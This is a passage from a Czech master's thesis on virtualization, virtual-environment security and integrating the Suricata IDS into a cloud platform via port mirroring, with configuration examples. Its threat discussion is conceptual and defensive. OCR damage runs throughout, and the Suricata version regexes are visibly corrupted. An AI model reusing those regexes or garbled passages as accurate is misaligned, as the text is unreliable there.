Jako ptiklad systému, ktery spravuje praveé virtualizaci sité jsem vybral
OpenSwitch.

OpenSwitch je open source, Linux-based sitovy operaéni systém uréeny
pro fyzické switche. Je zaméfeny na urychleni prechodu na oteviené sité,
stejné tak i na sité rozclenénych v data centrech. OpenSwitch poskytuje
plné vybaveny ovladdaci panel s podporou sitového protokolu na vrstvich
L2 a L3.

Systém je postaven na spolehlivé architekture, kterd se zaméruje na mo-
dularitu a centralni repozitat. Vyuziva moderni vyvojové nastroje a nabizi
rozsdhlé APT a rozhrani pro spravu. [25]
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¢ Virtualizace ulozisté

18

Umoziiuje vyuzivani fyzického 1lozisté ve vice zafizenich sitovych tiloZist

a vytvari dojem, ze se jedna o jedno zafizeni pro uklddani dat. Sprava

takového tlozisté je jednodussi, data jsou dostupnéjsi a provoz je méné

narocny. Virtualni dlozisté neni zavislé na konkrétnim hardware. Je do-

stupnéjsi, protoze uzivatel ma moznost se k datim dostat odkudkoli. Zaroven
je lepsi ochrana dat pred nepovolenym vstupem, zlepsuje moznosti migrace

¢i replikace dat. [26] [27]

Nyni uvedu priklady, kde se virtualizace tlozisté vyuziva.

— ZFS

ZFS je souborovy systém vyvinuty spolec¢nosti Sun Microsystems, piivodné
vydany pro operacni systém Solaris, ale diky tomu, Ze je open source,
tak je portovan do ostatnich operacnich systému.

V bodech uvedu zakladni charakteristiky tohoto filesystemu a uvedu
hlavné ¢im se odlisuje od ostatnich.

x velikost souborového systému — jednd se o 128bitovy filesystem,
dokéze adresovat az 16 exabyti, v adresaii muZze byt az 2° sou-
bort a dalsi

x promeénliva velikost bloki — lze ukladat data do bloki s ruznou ve-
likosti, Setii vice misto

*x komprese — primo implementuje transparentni kompresi soubort na
disku, dochazi k urychleni vétsiny operaci, protoze se zapisuje mensi
mnozstvi dat

* kontrola dat — pouzivaji se 64bitové kontrolni soucty, diky ¢emuz se
daji opravit poskozend data

*x kopirovani pri zapisu — metoda copy-on-write, pri zméné bloku se
nejdrive alokuje novy blok, do kterého se zapisou data a az nasledné
se zméni ukazatele na novy blok a stary se dealokuje

Diky svému navrhu zachazi ZFS s disky jinak nez bézny filesystem.
Vyuziva spoletnou kapacitu vsech dostupnych jednotek, nad kterymi
pak vytvari vlastni strom souborovych systémut. Této celkové kapacité
se iké pool a jiz nejsou potieba diskové oddily (partitions).

Dokaze efektivné dynamicky rozdélovat zatéz na vsSechny disky, pokud
se prida novy disk, tak dojde k automatickému prerozdéleni dat, aby byl
vyuZzit novy disk stejné jako ostatni. Aby se dosdhlo toho, Ze se nebudou
disky pretézovat, tak vyuziva systémové kvoty.

Prace s timto filesystemem je rychla a jednoduchd, lze snadno pridat
nebo odebrat nové disky, vytvorit pooly apod. [28§]
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— CEPH
CEPH je open source projekt napsany v jazycich C a python. Poskytuje
skalovatelné a spolehlivé feseni pro ukladani dat v tzv. clusteru. Cluster
je skupina spolupracujicich serverd, které funguji jako jeden celek. Je
zajisténo rovnomeérné rozlozeni dat v ramci clusteru, ¢imz se zvysuje
jeho vykon a také spolehlivost [29].

Mezi vyhody softwaru Ceph patfi:

* replikace dat a odolnost vii¢i chybam — systém se sdm obnovuje a
spravuje

* distribuce dat pfes cluster pomoci algoritmu ,, CRUSH“ — data jsou
replikovana mezi servery, takze pokud néktery server vypadne, tak
data jsou stéle pristupna

x algoritmus ,, CRUSH“ umoznuje prizptsobit, jak se data replikuji
mezi servery — pokud by existovalo riziko, ze néktery server v clusteru
ztraci vykon, tak tento algoritmus zajisti, aby byl vykon stale stabilni

* odpadéa potieba metadat — nejsou potieba metadata, ktera jen snizuji
vykonnost

- LVM
Jednd se o spravce logickych oddili. Pfindsi jednotny systém spravy
diskovych oddill, rozdéluje oddily se souborovymi systémy a daty od
fyzickych diskd.
Umoznuje:

* snadné pridavéani a ruseni novych oddild — pocet primarnich oddila
neni omezen pouze na 4, jako u klasickych tabulek rozdéleni disku,
transparentné resi volné misto pro nové oddily, nevyzaduje volné
misto ve spojité oblasti

* zménu velikosti oddili

« moznost vytvorit RAID 1 (zrcadleni), RAID 0 (proklddani) i kom-
binaci

Hierarchie LVM lze rozdélit do 3 vrstev:

1. Physical Volume — misto na blokovém zafizeni (napf. na pevném
disku)

2. Volume Group — zahrnuje v sobé prostor ze vSech fyzickych oddilu,
které jsou prirazeny do dané skupiny, a tento prostor distribuuje do
jednotlivych logickych oddila

3. Logical Volume — zde se vytvaii systém souborii nebo lze vyuzit jako
kterékoli jiné blokové zafizeni

Vyse popsand hierarchie je zndzornéna na obrazku [2.2]
Vice o LVM je mozné se docist ze zdroje, ktery jsem vyuzil pfi psani této
prace [2].
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Logical Volume Logical Volume Logical Volume
video web doc

Obréazek 2.2: Hiearchie LVM [2]

2.2.6 Bezpecnost virtualniho prostredi

Je dtlezité i zanalyzovat bezpecénost virtualnich stroju. Casto se udava, ze
virtualizace vede k zabezpeceni systému, ale je tomu skuteéné tak? Nejprve
se podivam na hrozby, které na nés ¢ihaji.

Bezpecnostni rizika, kterd jsou prave specifické pro virtualizaéni infrastruk-
turu, jsou spojena se slepymi skvrnami komunikace, vzajemnymi ttoky mezi
virtudlnimi pocitaci a zranitelnost pri spusténi a soupereni o prostiedky. Vétsinu
bezpecénostnich rizik zde uvedu. [30]

¢ Slepé skvrny komunikace
Bézn4 zafizeni pro sitové zabezpeceni ve virtualnim prostiedi byvaji slepé
vicéi komunikaci mezi riznymi virtualnimi stroji na stejném hostiteli, po-
kud neni veskera komunikace smérovana do samostatného zarizeni mimo
hostitelsky pocitac. Takova konfigurace zabezpeceni ale zptsobuje znacné
prodlevy. Jednim feSenim, jak eliminovat slepé skvrny komunikace a ne-
zvysovat prodlevy, je umistit na hostitele virtudlni pocita¢ vyhrazeny pro
bezpec¢nostni kontroly, ktery koordinuje komunikaci mezi virtudlnimi stroji.
Bohuzel takové feseni neni pro cloudové prostiedi vhodné. Takovy bezpec¢nostni
virtudlni stroj je integrovan s hypervizorem, aby mohl komunikovat s ostatnimi
virtudlnimi stroji. V cloudovych prostiedi ale nemaji uzivatelské virtudlni
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stroje pristup k hypervizoru. Zde se jako nejlepsi feseni nabizi, aby se
virtudlni pocitace branily samy. Ochrana byva soucdsti virtualnich stroju
a k jeji docileni neni nutna komunikace s okolim. [30)]

e Vziajemné ttoky mezi virtualnimi stroji a napadeni hypervizori
Virtualni servery pouzivaji stejné operacni systémy i aplikace jako servery
fyzické. Uto¢nik mize vyuzit slabin v nich. Pokud neni implementovano za-
bezpeceni zohlednujici virtualizaci, tak pokud se Gto¢nikovi podari nakazit
jeden prvek virtualniho prostredi, tak mohou byt zasazeny i dalsi. S vyssim
poctem virtualnich stroju na jednom hostiteli zvysuje plochu pro utoky a
riziko vzajemné nakazy. Firewall a IDS ¢i IPS musi rozpoznat skodlivé akti-
vity nezavisle na umisténi virtualniho stroje. Hypervizor fidi ¢innost vsech
virtudlnich stroju, jeho zabezpeceni je nezbytné. [30]

o Prevzeti hypervizoru

Tento 1tok se oznacuje také jako hyperjacking a mutze na néj malware,
ktery se dostal do nékterého virtualniho pocitace. Situaci, kdy hostovany
virtudlni stroj se pokusi o tento typ ttoku, se riké inik hostovaného virtualniho
stroje, protoze takovy stroj unikne z izolovaného prostredi. Jakmile je
nakazen hypervizor, tak uz miize Gtoc¢it na ostatni virtualni stroje na stejném
hostiteli. Ochranou takového hypervizoru muze napriklad spocivat v tom,

ze se oddéli od sité pomoci VPN. [30]

2.2.7 Zabezpeceni virtualniho prostredi

Nyni kdyz vime, kde na nas cekaji nastrahy a nebezpeci je tieba i zjistit
moznosti zabezpeceni virtualniho prostredi. Podivam se na nékteré techniky,
které se timto zabyvaji.

Jak jsem zjistil v analyze hrozeb, tak Castym a zaroven efektivnim titokem
je snaha prevzit kontrolu nad hypervizorem, protoze pak ma ttoénik moznost
ovladat i ostatni virtudlni stroje na stejném hostiteli, ¢ili se budu zabyvat
zpusoby ochrany, aby se skodlivy malware nemohl dostat pod kontrolu hyper-
vizor.

o Agent-based

Jednd se o bezpecnostni software, ktery je umistén na koncovych stanicich.
Je na ném nainstalovdna kompletni antimalwarova databaze. V nevirtua-
lizovaném prostiedi je zadouci, aby na kazdém zafizeni byla nainstalovano
kompletni zaFizeni, ale ve virtualizovaném prostfedi to jiz neni tak efektivni.
Neni to efektivni, protoze ve virtualizovaném prostiedi je snaha zvladat
praci za vyuziti co nejméné hardwaru, omezit duplikaci dat a tento pristup
snizuje vykon stroje. [31]

o Agentless
Na rozdil od techniky Agent-based, tak Agentless Feseni jiz nevyzaduje,
aby antimalwarovéa databéze byla ulozena na kazdém virtudlnim stroji, ale
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pomoci jednoho virtualniho stroje, na kterém je nainstalovdna antimalwa-
rova databaze, chrani vSechny virtualni stroje na daném hostiteli. Vyzaduje
mnohem mensi ndroky na centralni procesor hostitele, na pamét i tlozisté.
Tim, ze se o bezpecnost stard pouze jeden virtudlni stroj, tak se eliminuje
nutnost aktualizace databazi na vsech virtualnich strojich, skenovani pti
hledani malwaru a nevyskytuje se zranitelnost, pti ¢ekani na aktualizaci.

Nevyhodou tohoto feseni spociva v tom, ze vyzaduje technologii VMware
vShield, kterd umoznuje pristup ke chranénym virtualnim strojim pouze na
drovni souborového systému, nelze tedy implementovat technologie, které
poskytuji ochrnu dalsich vrstev, jako je Application Control s technologii
Dynamic Whitelisting. Zaroven nelze pouzit ver virtualnim prostiedi Citrix
nebo Microsoft. [31]

Light Agent

Tato technika se snazi propojit vyhody pristupt Agent-based a Agentless.
Vyuziva pouze jednu antimalwarovou databazi na trovni hypervizoru od-
kud se skenuji soubory. Na jednotlivé virtualni stroje se zaroven instaluji
mensi softwarovi agenti, ktef{ jsou nastaveni tak, aby zbytecné nezatézovali
systém a vyuzivali minimum vypocetniho vykonu.

Vyhodou je, Zze naro¢néjsi prace se odvede mimo virtualni stroje, ale musi
se udrzovat primé spojeni kvuli provadéni dalsich bezpeénostnich tkonu.
Nedochézi ani k narotnym aktualizacim, protoze se nemusi aktualizovat
celd antimalwarovéd databaze, vyskyt slozitého skenovani se snizuje.
Informace o Light Agent technice jsou brany odtud [31].

Toto teseni navic poskytuje oproti predchozimu naptiklad:

— moznost skenovat pamét a odhalit paméfové rezidentni malware

— ovladaci nastroje

— host-based network security — vcetné firewallu a intrusion protection
systému

2.2.8 Zabezpeceni hypervizoru

Jiz nékolikrat jsem zminil, Ze zmocnéni se hypervizoru je klicem k ostatnim
virtudlnim strojim. Proto bezpecénost hypervizoru je hodné dulezitd a nesmi

se

podcenit. Uvedu zde nékolik tiph, jak hypervizor zabezpecit. Jednotlivé

tipy rozdélim do 3 vrstev zabezpeceni:
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1. nouzova uroven

e pridani IPMI — rozhrani, které umoznuje spravu pocitace nezavisle
na funkcénosti opera¢niho systému, standardniho firmwaru i hlavniho
procesoru [32]

e Tizeni a monitorovani fyzického pristupu k hypervizoru
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e pouziti pouze spravného a ovéreného hardwaru
2. komunikac¢ni troven

e umisténi hypervizoru do privatni sité a pristupovat pouze pres fi-
rewall ¢i VPN

e zajisténi pravidelného aktualizovani softwaru hypervizoru

e vy¢lenéni minimélné jedné sitové karty na hypervisoru, kterou by
se dal ovladat, pro pfipad DOS ttoku, aby bylo mozné udrzovat
komunikaci

e vSechna nastaveni a moznosti pro konkrétné pouzivany hypervizor
by méla byt peclivé nakonfigurovana

e je vhodné omezit vzdaleny a konzolovy pristup k hypervizoru véetné
SSH, RDP anebo jiného specializovaného pripojeni klienta na ser-
ver

o monitorovani komponent hypervizoru (CPU load, vytiZeni paméti
RAM, intenzita sifového provozu a dalsi)

3. bézny sifovy provoz

e pridani testovacich systému, které napodobuji realny provoz

« monitorovani sitového provozu (tento bod zajistuje tato diplomova
prace)

Podkladem pro zabezpeceni hypervizoru byl tento zdroj informaci [33].

2.3 Pouzité systémy

Nyni vas seznamim s cloudovym prostfedim, ve kterém budu pracovat, a se
softwarem Suricata.

2.3.1 Big Cloud

Big Cloud je sluzba, kterd funguje jako manazér cloudovych tlozist. Nabizi
kompletni spravu virtualnich stroju, u kterych si zakaznik mtze vybrat kom-
ponenty, jako je velikost paméti, paméti RAM a jiné, nebo si muze vybrat
z nékolika operacnich systému, at uz Linux nebo Windows. Funguje na zakladé
cloud computingu. ,, Cloud computing znamend, doddvani vipocetnich sluzeb,
jako jsou servery, ulozisté, databdze, sité, software, analytické ndstroje a dalst,
pres internet. [34] [35]
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2.3.2 Suricata

Software Suricata podrobné rozepisuji ve své bakalarské préaci, zde uvedu
nékolik jeho vlastnosti, které budu potfebovat v navrhové ¢i implementacéni
Césti prace.

2.3.2.1 Verzovani softwaru Suricata

V navrhové ¢asti se bude Tesit ukladani jednotlivych verzi softwaru Suricata
na komunikacéni rozhrani, k tomu je ale nutné znat standard pro verzovéni.
Budu potrebovat kontrolovat aktualnost verze, protoze jednim z vektora itokt
je utok pravé na neaktualizovany software. Utotnik mize vedet napriklad
z changelogu, ze v predchozi verzi je zranitelnost nebo naopak, ze nekontroluje
néjaké nové zranitelnosti.

Suricata ma vétsinou ve verzi 3 ¢isla oddélené teckami. Pokud je ale po-
sledni ¢islo 0, tak se muze vypustit. Obcas misto 2. tecky daji, zda se jednd
o beta nebo rc (release candidate), prip. RC, takové verze nas ale nezajimaji.
Obecné ¢isla na jednotlivych pozicich mohou byt vicecifernd, zatim tomu tak
ale bylo pouze 2x a vzdy ve verzi 2.0.X. Od verze 4.X.X pfesunuli umisténi
oznaceni rc a beta verze az na konec.

Priklady:

o Priklad standartni (nejbéznéjsi) verze: 4.1.3 - [0-9][0-9][0-9]

« Piipad s dvoucifernym &slem: 2.0.10 - [0-9][0-9]]0-9][0-9]*

« Piipad s chybéjicim poslednim &slem: 3.0 — [0-9][0-9]
Regex pro piipad, Ze by i ostatni ¢isla byla dvouciferné a chybél 3. ¢len, zatim
ale nenastalo, obecné se ale stat muze:

[0-91 [0-91*\ .][0-9] [0-91\. ¥|[0-9]}4

Pripad s rc a beta pred 4.X.X: 2.0rcl nebo 3.0RC1, 3.2betal Piipad s RC
a beta po 4.X.X: 4.0.0-betal, 4.0.0-rc1, 4.0.0-rc2

RC verze se pouzivat ale nebudou, takze nemé smysl pro né extra vytvaret
regularni vyraz.

Informace ohledné verzovani jsem vzal ze stranek softwaru Suricata [36] a
z repozitére, kde jsou k dispozici jeho starsi verze [37].

2.3.2.2 Aktualizace pravidel softwaru Suricata

Bude nutné umét automaticky aktualizovat pravidla softwaru Suricata. Pro
aktualizaci pravidel existuje néstroj suricata-update, ktery slouzi pro kont-
rolu verze a poté pripadnou aktualizaci pravidel. Je nutné ho dodatecné nain-
stalovat pomoci apt-get install suricata-update. Pro aktualizaci pravi-
del staci spustit suricata-update. Dilezitou vlastnosti je, ze je mozné spustit
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i za béhu softwaru Suricata a ze o tomto softwaru pisSe i oficidlni dokumentace
softwaru Suricata, takze ho lze povazovat za dtvéryhodny.
Reloadnuti pravidel poté zajisti suricatasc -c reload-rules. [3§]

2.3.3 Spusténi softwaru Suricata na nékolika sitovych
rozhrani s riznymi pravidly

Pro mou préci je nutné mit moZnost spustit software Suricata na vice sitovych
rozhranich. Software Suricata tuto moznost podporuje pouze na opera¢nim
systému Unix, a to za pomoci opakovaného pouziti prepinace -i, kterym se
uvadi sitové rozhrani. [39]

Nyni je jesté treba vyfesit podporu vice pravidel. Na to ma software Su-
ricata také moznost, které se ikd Multi Tenancy. Diky této moznosti se da
pfidat nékolik konfigura¢nich souborii, které se budou mapovat bud na sitova
rozhrani nebo na jednotlivé VLANy anebo dokaze procesovat UNIX pcap so-
kety. Pro mou praci se hodi mapovani na jednotlivé rozhrani, kterych vyuziji.

Na konec hlavniho konfigura¢niho souboru suricata.yaml je tieba pridat
nésledujici, ukédZu na 2 sitovych rozhranich:

multi-detect:
enabled: yes
selector: device
loaders: 2

tenants:
- id: 1

yaml: tenant-0.yaml
- id: 2

yaml: tenant-1.yaml

mappings:

- device: ens20
tenant-id: 1

- device: ens21
tenant-id: 2

Bohuzel tato moznost nefunguje ve vychozim nastaveni spravné s nastrojem
suricata-update. Tento nastroj totiz poté, co aktualizuje software Suricata,
tak poust{ test konfigurace, ktery pokud se monitoruje pomoci vice sitovych
rozhrani, tak dopadne Spatné. Nastésti je mozné piikaz pro spusténi testu
upravit pro mé potreby. Pomoci parametru -T se da vlozit vlastni testovaci
skript softwaru Suricata, kde mohu pomoci parametru -i specifikovat vSechna
sitov4 rozhrani.
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Nyni vysvétlim pouzité atributy:
o enabled — yes/no — oznaceni, zda se multi-detect pouziva
o selector — vlan/device/direct — urceni o jaké mapovéni se jedna

o loaders — ¢islo — pocet vldken, které paralelné nacitaji pridané konfi-
guracni soubory pri spusténi, v dokumentaci se uvadi, ze kazdy konfi-
gura¢ni soubor mize mit 1 vldkno, takZe pokud chci sledovat 2 sifové
rozhrani, tak budu zde mit 2

e tenants — seznam dvojic id a yaml — slouzi pro mapovani ¢isla oddilu na
konfiguracni soubor

e mappings —seznam dvojic id a tenant-id — slouzi pro mapovani konkrétniho
sitového rozhrani nebo vlanu na tenant-id z pfedchozfho bodu

Ted je tieba vytvofit jednotlivé konfiguraéni soubory tenant-1.yaml,
tenant-2.yaml a tak déale. Vzhledem k tomu, Ze pouze potfebuji zménit pravi-
dla, tak budou soubory obsahovat pouze néasledujici:

default-rule-path: /var/lib/suricata/rules
rule-files:

- suricata.rules

- rulesl.rules

Je mozné upravit i jednotlivé oddily za béhti pomoci
suricatasc -c 'reload-tenant 1 /etc/suricata/tenant-1.yaml'
/var/run/suricata/suricata-command.socket.

Toto nastaveni mé jednu velkou nevyhodu, kterd pro tcely prace neni
zas tak podstatna, ale software Suricata nemtize byt zapnuty v rezimu IPS,
protoze tato funkcionalita to nepodporuje. [40]
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KAPITOLA 3

Navrh

3.1 Integrovani softwaru Suricata do systému

Moznost propojeni softwaru Suricata do systému, jsem popsal jiz ve své ba-
kalarské praci, ale je tfeba toto téma pripomenout, protoze jej budu vyuzivat
i zde.

Uvedu zde odpovédi na nékolik dulezitych otazek:

1. jak monitorovat komunikaci po siti softwarem Suricata
2. jak se softwarem Suricata komunikovat — fizeni, sbér dat

3. zda nemuze béh softwaru Suricata ohrozit bezpecnost virtualniho stroje

3.1.1 Instalace

Nejprve je treba zvazit moznosti integrace. Software Suricata se mize umistit
na systém dvéma zpiisoby:

1. instalace na jednotlivych virtudlnich strojich uzivateld

2. instalace na virtualnim stroji, pres ktery pijde komunikace z nékolika
virtualnich stroji a bude skenovat jednotlivé packety

V pripadé prvni moznosti ma uzivatel 5 moznosti, jak nechat software
Suricata monitorovat svoji komunikaci po siti.

1. vybranim vhodného template opera¢niho systému s jiz nainstalovanym
softwarem Suricata

2. pokud by uzivatel chtél nainstalovat software Suricata az po vytvoreni
stroje, tak 1ze pomoci piikazu apt-get z jiz pred vytvoreného repozitare
na systému Bigcloud, skript pro vytvoreni repozitare jsem jiz udélal
v ramci bakalarské prace
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3. rucni instalace, kterd by ale byla velice neprakticka, protoze by pak
uzivatel nemél podporu od administratora, protoze by se zdznamy o ko-
munikaci nechavaly jen v pocitaci uzivatele

4. offline instalace, zde bude mit administrator moznost ru¢né nakopirovat
software Suricata na systém i pokud virtualni stroj momentélné nebézi

5. pii vytvafeni sitového rozhréni uzivatel zaskrtne moznost, nechat si mo-
nitorovat dané sitové rozhrani — na tuto moznost se budu zaméfovat ve
své praci, protoze ostatni moznosti byly navrzené a zpracované v ramci
bakalarské prace

U posledni paté moznosti uzivatel nemusi instalaci fesit, jeho provoz bude
presmérovan na virtualni stroj, na kterém bézi software Suricata, tento stroj
budu pozdéji oznacovat jako monitorovaci. Zde se nabizi 2 moznosti, jak by
se to dalo realizovat

1. umistit software Suricata na virtualni stroj, ktery by fungoval jako fi-
rewall, pres ktery by prochéazela veskera komunikace

2. umistit na sit switch, ktery by zajistoval port mirroring na monitorovaci
stroj

Vyhody a nevyhody jednotlivych pristupt zhodnotim pozdéji v sekci ,, Moznosti
monitorovani komunikace®.

3.1.1.1 Rizeni a sbér dat

Jednotlivé zaznamy se uchovavaji defaultné ve slozce /var/log/suricata/.
Nachézi se zde 4 soubory, ze kterych budeme potifebovat hlavné eve. json.
Ve své bakalarské praci jsem vytvoril program, ktery automaticky zaznamy
odesila na predem urc¢eny endpoint, kde se ukladaji. Zde ve své préaci tento
program vyuziji, a jesté ho navic rozsitim o dalsi funkcionality. Pozdéji ukazu,
jak vypadd struktura endpointu, vzhledem k rozsahlosti souboru eve. json ho
jiz nebudu znovu popisovat, pro tuto praci neni jeho znalost stézejni. Tento
program na odesilani logi musi bézet na virtualnich strojich, na kterych bézi
software Suricata.

Pro komunikaci se softwarem Suricata slouzi nastroj Suricatasc, ktery je
soucasti projektu Suricata a nainstaluje se sam pri instalaci softwaru Suricata.
Pro komunikaci je ale nutné mit administratorské opravnéni. Kviuli tomu byla
ziizena specialni role, kterda mé prava na sudo pouze pro komunikaci se Suri-
catasc a Suricata. Suricatasc nabizi nasledujici rozhrani:

e suricatasc -c uptime — vrati se doba od spusténi softwaru Suricata
e suricatasc -c version — vrati verzi softwaru Suricata
e suricatasc -c shutdown — vypne software Suricata

e suricatasc -c iface-list — zobrazi seznam dostupnych interface
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e suricatasc -c command-list nebo suricatasc -c help — zobrazi se-
znam prikazu

e suricatasc -c 'reload-tenant' — nacteni oddilu

Kontrola padu programu nebo samotného softwaru Suricata spoc¢iva v tom,
ze program odesila logy v pravidelnych intervalech. Tyto logy mohou byt
klidné prazdné, pokud logy stéle chodi, tak mame jistotu, ze funguje. Jenze
prazdné logy mohou znamenat, ze software Suricata nebézi spravné. M1j pro-
gram se zaroven dotazuje pomoci Suricatasc, zda software Suricata bézi a stav
odesila na server.

Jednotlivé uddlosti se posilaji ve formatu JSON. [6]

3.1.1.2 Bezpecnost

Software Suricata sdm o sobé nepredstavuje velké bezpecnostni riziko, musi
byt ale pravidelné aktualizovan. Software Suricata se neustdle vyviji a ak-
tualizace se vydavaji ¢asto. V minulosti bylo nalezeno nékolik zranitelnosti.
Naptiklad verze starsi nez 4.1.4 obsahuji buffer over-read [41] a pak verze nizsi
nez 2.0.8 obsahuje chybu v parseru [42]. Obé zranitelnosti zptusobuji pad soft-
waru Suricata, takze nepredstavuji riziko napadnuti a prevzeti kontroly nad
monitorovacim strojem. Bohuzel novéjsi verze softwaru Suricata, verze 4.1.4 a
vyse, neni standardem, napiiklad Debian 10 mé stéle verzi 4.1.2.

Monitorovaci virtudlni stroj ale mtiZze mit vefejné sifové rozhrani, proto
je nutné s nim nakladdat jako s potencialné nebezpeénym. Kriticka je komu-
nikace s API, monitorovaci virtudlni stroj potiebuje nékam odesilat zdznamy a
potfebuje si nacitat konfiguraci. Monitorovaci stroj nesmi komunikovat s vnitinim
API. Tento problém lze fesit ndsledovné:

o vytvorilo by se oddélené API od vnitiniho, se kterym by se komunikovalo
po vefejné siti, jakdkoli komunikace z tohoto API musi probihat pres
firewall, veskeré dotazy ¢i data od monitorovacich stroji, by se musely
validovat pomoci identifikdtort jednotlivych monitorovacich stroju, aby
se zabréanilo podvrzenym pozadavkim

e dalsi moznosti je vytvoreni specidlniho virtualniho stroje, se kterym by
se komunikovalo po privatni siti, ktery by slouzil jako vymeénik informaci

7 téchto dvou moznosti jsem vybral tu druhou, a to pres vytvoreni vyméniku
dat. Zvolil jsem tak, protoze se jednd o méné narocné reseni pro vytvoreni a
stale je to bezpecné feSeni. Podrobnéjsi navrh tohoto feseni uvedu pozdéji.

Program, ktery komunikuje se softwarem Suricata, vyzaduje na nékteré
ukony administratorska opravnéni. Diky vytvoreni uzivatele s omezenymi ad-
ministratorskymi pravy se riziko zneuziti snizuje. Pokud se tedy ito¢nik zmocni
programu na sbirdni zdznaml a spravu softwaru Suricata, nepovede se mu
napachat skody.
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3.2 Moznosti monitorovani komunikace

V této sekci uvedu moznosti, jakym zptisobem by se komunikace mohla sle-
dovat, kam by se nainstalovalo prislusné IDS/IPS a zhodnotim jednotlivé va-
rianty.

3.2.1 Monitorovaci zarizeni na kazdém pocitaci

U tohoto Teseni by jednoduse software Suricata bézel na kazdém virtudlnim
pocitaci u klient1.

Vyhodou tohoto feseni muize byt jistd jednoduchost navrhu, neni potireba
rozsifovat topologii sité. V tomto Teseni bude i 1épe fungovat monitorovaci
zalizeni, protoze jednotlivé virtudlni stroje nevytvori velky naval komunikace,
ktery by musel monitorovaci software kontrolovat.

Zmacnou nevyhodou je, Ze by bylo zapotifebi ddvat uzivatelim na virtualni
stroje nejen samotny software Suricata, ale zaroven dalsi obsluhovaci soft-
ware, jako je tieba software na odesilani logi na server. Zaroven tyto softwary
vyzaduji vypocetni vykon, o ktery by se musel ochudit zakaznik.

3.2.2 Monitorovani na firewallu

Mezi vnitini siti a vystupem do internetu jiz je umistén virtualni stroj, pres
ktery komunikace prochazi a slouzi jako firewall. Tento stroj by se dal vyuzit
k tomu, ze by se dal na néj umistit monitorovaci software, ktery by doplnoval
funkcnost firewallu.

Zrejmou vyhodou tohoto feseni je opét, Ze neni nutny zasah do topologie
sité, vyuziji se pouze komponenty, které jsou jiz v siti pritomny.

U tohoto Teseni celd komunikace ze sité prochézi ptes jeden stroj. Software
Suricata nastésti zvlada zpracovavat vice packetl nez jiné konkurencni, ale i
zde se muzeme potykat s problémy pii zahlceni, tedy Ze nebude stihat zpra-
covavat vsechny packety. Tim padem se zvysi latence sité a nékteré zpravy se
mohou zahodit.

3.2.3 Port mirroring

U tohoto feseni se musi zménit topologie sité. Bude se muset pfidat switch
a nékolik virtualnich stroju. Jak jsem jiz zminil diive, tak témto virtualnim
strojim budu fikat monitorovaci stroje. Veskera komunikace ze sité ptjde
pres switch, ktery bude packety posilat dale, ale zaroven je bude duplikovat
a posilat na monitorovaci stroje. Monitorovaci stroje budou mit vice sifovych
rozhran{ a bude predem urcené, jaké IP adresy monitoruji, na kterém sitovém
rozhrani. K témto monitorovacim strojum bude mit pfistup pouze administrator.
Tento switch by mohl byt pouze softwarovy a zajistoval by ho OpenSwitch,
ktery jsem zkoumal v analyze.
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Obdobné jako u predeslého feseni, tak i zde uzivateliim na jejich virtualnich
strojich nebézi zadny program navic, tedy nijak se neodebira na jejich vykonu.
Zatéz na siti je rozlozena do nékolika monitorovacich stroji, tak teda nedochézi
k takovému zvysSovani latence na siti jako u predchoziho feseni.

Nevyhodu tohoto feseni je, Ze monitorovaci zafizeni nemohou aktivné za-
sahovat do komunikace, protoze dostdavaji duplicitni packety, kde origindlni
packety se stale dostavaji na misto urceni. Pokud bychom chtéli zajistit i toto,
tak by se muselo ¢ekat na vyhodnoceni od monitorovacich stroji, nez by se
packet poslal na misto urceni, a to by opét mohlo zptusobit zvyseni latence na
siti. Bude ale stdle mozné pti detekci hrozby vypnout komunikaci s potencidlné
nebezpecnym odesilatelem.

Zjednodusené schéma port mirroringu je nasledujici Cervens je vy-
znacena komunikace, kterd vede na monitorovaci stroj a zelené je vyznacena
komunikace z monitorovaciho stroje.

Monitorovany Stroj

U

QA

B

Port Mirroring Monitorovaci Stroj
< >
7 3 > [
> /
A

«—>
—

Obrazek 3.1: Schéma port mirroringu
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3.2.4 Rizeni aktualizaci

Nez prejdu k diskusi feseni je nutné brat v potaz, ze je tfeba resit aktuali-
zace softwaru Suricata na monitorovacich strojich a zaroven aktualnost jejich
pravidel.

O aktudlnost verzi se bude starat daemon, musim ale zvazit, kam ho
umistit.

3.2.5 Daemon pro spravu aktualizaci

Je potieba udélat takové reseni, aby se zajistila:
o aktudlnost verze softwaru Suricata

o efektivnost komunikace — nesmi byt prilis velkd zatéz na siti, aby komu-
nikace neblokovala ostatnim uzivatelim v prace a nezvysovala se tedy
latence sité

e bezpecnost komunikace a uchovani dat

e je zapotiebi monitorovat daemona nebo program, ktery se o komunikaci
bude starat, aby v pripadé jeho vypadku, bylo mozné ho znovu zapnout
a Tesit vzniklé problémy

e je potreba udrzet flexibilitu, aby zvolené feseni fungovalo i s dalsimi
monitorovacimi zafizenimi

Prisel jsem s navrhy nékolika feseni, kazdé mozné Teseni napisu, uvedu
jejich kladné i zdporné stranky a poté nakonec uvedu, které feseni bude nejlépe
sedét na problém ze zadani prace.

3.2.5.1 Na kazdém pocitaci jeden daemon

Toto Teseni je prosté, na kazdém virtudlnim stroji, kde bézi software Suricata
by bézel daemon, ktery by komunikoval s pripravenym API na serveru. Nemusi
to byt novy program, ale pouze rozsiteni stavajiciho programu na odesilani
logn.

Dodrzeni aktualnosti verze, by bylo zajisténo tak, Ze na kazdém pocitaci
by se daemon musel ptat centrdlniho API, zda ndhodou nevysel novy update,
takové kontrola by mohla byt bud vzdy se zapnutim pocitace, vzdy o ptilnoci
nebo v urcitych ¢asovych intervalech.

V podstaté vsechny stroje se budou periodicky dotazovat na aktudlnost
verze, tim bude casto dochazet k odpovédi, ze se verze nezménila. Tim vznika
velké mnozstvi zbyteénych dotaz.

Pokud by doslo k vyfrazeni daemona, tak centralni server by mél zareago-
vat. Pokud by byla funkcionalita daemona priddna do programu na odesilani
logi, tak potom u toho se dd poznat, Ze z néj nechodi zadné zpravy. Pokud by
nebyla funkcionalita daemona pridana do programu na odesilani zdznami, tak
by si musel server drzet seznam aktualizovanych nebo jesté neaktualizovanych
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systému. Pokud by daemon neposlal pozadavek na aktualizaci a systém by
aktualizovan nebyl, tak poté by se poznalo, ze nefunguje.

Bezpecnost tohoto feseni stoji na tom, ze virtudlni stroj musi komuniko-
vat se serverem. Uto¢nikovi by se mohlo podafrit poslat podvrzenou zpravu od
daemona a tim zmafrit aktualizaci softwaru Suricata pripadné jeho pravidel.
Dalsim rizikem je, ze pokud budou zadosti posilany po dlouhé dobé a vyjde
néjaka bezpectnostni zaplata softwaru Suricata, tak béhem té doby, by mély
virtualni stroje jesté starou verzi, dokud by se neposlal pozadavek o aktuali-
zaci.

